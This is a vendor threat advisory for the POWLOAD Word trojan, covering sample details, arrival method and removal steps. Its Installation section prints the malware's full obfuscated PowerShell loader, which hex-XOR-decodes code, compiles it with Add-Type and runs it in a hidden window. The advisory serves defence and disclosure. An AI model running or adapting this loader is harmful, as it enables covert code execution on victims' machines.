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Trojan.W97M.POWLOAD.TIOIBEKV

May 08, 2020
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

167,359 bytes

File Type:

DOCX

Memory Resident:

Yes

Initial Samples Received Date:

08 May 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -WindowStyle Hidden Sl$$%-SSl$$%*Sfunction c8b551 {param($jc821)$xb225d='tbd87d';$p1b655='';for ($i=0; $i -lt $jc821.length;$i+=2){$z998ed=[convert]::ToByte($jc821.Substring($i,2),16);$p1b655+=[char]($z998ed -bxor $xb225d[($i/2)%$xb225d.length]);}return $p1b655;}Sl$$%-SSl$$%*S$v8e446 = '01110d565044271b174c52094f171751590354311d4b4301194c364d59101d0f01167e0a0007165747371110125154010759114b5e0a134237414410110f4a7c5e05130c0b4b430d17115f4d440d1a05446b4e17000709167e2b4f171751590354311d4b4301194c2a5d435f7968144d55081d01445b5b05071144485106465655436c20180e2d55470b06164c1a5c01060c01540456564e215643160d320b5159104940235d4334060d077953000607174b154d2912115a5b0d1742174c56101d01445d4f1011100a187e0a0032104a170e4d55520b1f2d1a16344c45440453530c0f015811104a5e0a1342120f5255124b5f637308182b09485816004a465352161a07080b054658270a4c451d240d0d564359562e0b5953281d001659451d564b39484206180b0718441015160d5b17010c16014a59443d0c106843165409555d060112504c4b43161d0c031843564303555e1e5f2f2608547e09040d164c1f461f071656520847504614720a00101d68580d1a16591a610d061611595b34060d105d5410564b39484206180b0718441015160d5b17010c16014a5944160d0b54170616015009524c3d0c106843165417070b025c58372d5643340010444955071501484d5e0a00421c095651124e0b4d4344010b0a4c17051556520b0e4d4f3920545b2d19120b4a434c5629014a59011851561653081840487d5910061b34575e0a005f466a4308390d125d7a01190d164115482707107456170027164a58164904055444015d3f174c56101d01445d4f1011100a18410b1d064454565d41514c7159102416161840504d55070151483d0c10684316540e555d0f07425a4851591054135c0f545712074d034711160e0d5b17170003105154441d0c10184501475001101e1f3d0c106843165413060b56514c57595306014507020a1f074c00510d064c565351085155435755090e5444535c0852465d4b5f51514c05005759025c414359715910241616166d01060d4d437e0a0032104a17004055065c525349085d0f01575c13060b56514c57485b0f064157551015574152020900514554500800554152070a01501057550805554553541a1e4d4f0b021053504300005d0045492b0a4c6710064c3e5d450b5d1931715910241616185856155a015b06595c372d56433400104d0d0c111d0c101847514d04025c0a544f0b021055061756555d1f004055065c5253580d56590f01175348084f50444e0b4d434404575d5e51005d4b1f7a4e101139391842554704555902590f521c0b0648441a025e1b540c5b54450c2d1a16344c45440354555c56593903164b5f05184c25545b0b172a23545806150e4c0b1e5f3903164b5f05184c2757471d5c17550b5155155748081b13425300591b575d5908590e51474a0a5d40443d0c106843165c06500f550011554a6c582d1a16520c1f4d5f521c080755164b484f01551003480b1e5f091f194b43161d0c03184f064103525d0a211a140d4a580a19070a4c1923111622575b0011103459430c5c270a4e5e161b0c095d59105a31145d540d150e22575b0011104a794714180b0759430d1b0c205943055d424f181538280c010d03071140441317074c00510d064c5657050800551757001a1e5f1a071318600116210851520a004a4d16730b030c08575600320b085d1f074c00510d064c56530709015544565c0853501657060801544557520c045447535c0900544553520d035416535d0c53544d55550c00571151020c54544556540d05465d4e1c5a020542074d0367161b01014b44370003164c7e0a120d444153004755595652135432165754010711374c5616002b0a5e584c0c00515901015d59344a5807111117166410151010104e00105153110c161116114a5944445919484206180b0718441015160d5b171700100d565044175a060d02555c11104a5e0a1342105b5350165a53114c1700100d5650440453530c0f014940105a535c430646034410060b0a5f170f4507555d515649404603510b064a0d5643441d5f5403170d4816075c03064c554a74520a13160c035e4f49504d43551d000744520e534251597b580a0207164c19301b201d4c524c0001000c555c434c374d551700100d56504c1d4e56111b55424b5f5306014507020a1c595c010c59454d5c085d0f01572a12550f035c11394c5118565d47140900504c074a74520a13160c651e5f0910014c42161a420f095255110456034a19';Sl$$%-SSl$$%*S$v8e4462 = c8b551($v8e446);Sl$$%-SSl$$%*SAdd-Type -TypeDefinition $v8e4462;Sl$$%-SSl$$%*S[pfb241]::re32e();Sl$$%-SSl$$%*SSl$$%-SSl$$%*SSl$$%-SSl$$%*_

Dropping Routine

This Trojan drops the following files:

  • {malware file path and name}

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.W97M.POWLOAD.TIOIBEKV

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • {malware file path and name}

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIOIBEKV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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